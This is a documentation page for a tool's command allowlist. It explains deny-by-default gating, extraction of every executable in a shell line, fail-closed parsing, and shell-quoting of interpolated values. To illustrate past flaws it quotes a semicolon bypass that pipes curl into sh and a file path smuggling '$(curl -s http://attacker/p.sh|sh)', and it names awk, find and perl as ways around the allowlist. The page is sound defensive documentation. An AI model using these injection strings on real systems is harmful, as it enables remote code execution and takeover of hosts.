Skip to content

The command allowlist

How arbitrary execution is gated, why it fails closed, and where the limits are.

On this page

The command resource runs whatever the profile writes, on machines that matter, with credentials that matter. This guide explains the two gates in front of it, how to read a refusal, and the limitation that no parser fixes.

Two independent gates

The operator’s ceiling comes from --allowed-commands or the config file’s allowed_commands. It is a strict allowlist, and an empty one permits nothing. Silence has to mean deny for a resource that executes arbitrary commands.

The profile’s declaration comes from allowed_commands in the profile block. It can only narrow the ceiling, never widen it. Empty means the profile imposes no limit of its own and the operator’s list governs alone.

* is the explicit opt-out permitting everything. It has to be written down, which is the point of a deny-by-default list.

The two gates are kept separate rather than pre-intersected, so a refusal can say which gate closed and therefore who has to change something:

command "systemctl status sshd" blocked: no commands are allowed because
allowed_commands is empty - add "systemctl" to allowed_commands, or "*" to
allow every command

command "curl https://x" blocked: executable "curl" is not in allowed_commands
(systemctl, getent)

command "getent group wheel" blocked: the profile does not declare executable
"getent" in its allowed_commands (systemctl) - add it to the profile block

A dependency’s declaration is merged into its parent’s as a union, empty only when neither side declares anything. One consequence is worth knowing: a dependency that declares nothing runs under its parent’s list, so one of its checks can be refused. The refusal names the program.

Every executable in the line

The command reaches a shell, so every construct that starts a new command is a place a program runs. The extractor covers separators (;, &&, ||, |, |&, &), command substitution with $(...) and backticks, subshells and groups, and the argument of a wrapper such as timeout, xargs, env, nice, nohup, sudo, or doas.

Reading only the first token meant cat /etc/hostname; curl http://x | sh was gated as cat, and the allowlist was bypassable with a single semicolon.

The parser skips redirection targets, which are filenames, and VAR=value assignments. It treats shell keywords such as if, for, do, and done as reserved words rather than programs, since gating them would deny legitimate lines for a word no operator can meaningfully declare.

It fails closed

An unterminated quote or substitution, or a heredoc whose body the parser does not model, returns an error and the command is refused. A line that cannot be fully accounted for must not be gated on a guess, because partial enforcement looks like enforcement.

The honest limitation

The parser cannot see through interpreters. awk 'BEGIN{system("...")}', find -exec, perl -e, and friends run arbitrary code with no shell syntax at all. Allowing any of those binaries allows anything.

That is a property of allowlisting by executable basename, not a gap a better parser closes. Choose the entries in allowed_commands accordingly, and prefer a typed resource over command wherever one exists.

Seeing what a profile needs

refpoint check my-baseline

check reports every executable the profile’s command checks would run, extracted exactly as enforcement extracts them, and flags any the profile uses but never declared, since those can never run however permissive the operator is. A line the parser cannot account for shows as <unparsable: ...> rather than a half-truth.

Values interpolated into commands are shell-quoted

Providers build command lines and interpolate values that come from the profile: resource addresses, variables, --var overrides, var files.

Go’s %q verb quotes for Go, not for the shell. It emits double quotes and escapes only ", \, and non-printable runes, because nothing else matters in a Go string literal. Inside shell double quotes, $ and backticks still expand, so a path attribute of

/etc/ssh/sshd_config$(curl -s http://attacker/p.sh|sh)

executed as the connecting user, or as root under --sudo.

Three measures replaced it. shell.Quote wraps a POSIX value in single quotes, the only shell construct with no escapes at all, writing an embedded quote as a close-escape-reopen sequence. shell.PSEscape doubles an embedded quote for PowerShell values. And %q is banned in format strings that build commands, enforced by an AST lint test that fails when a %q inside a fmt.Sprintf flows into Exec or into a variable named cmd.

Two limits are worth stating rather than implying. The lint test catches the common mistake, not every possible one. And an untrusted command is still untrusted: quoting protects arguments, it does not make the command resource safe. That is what the allowlist is for.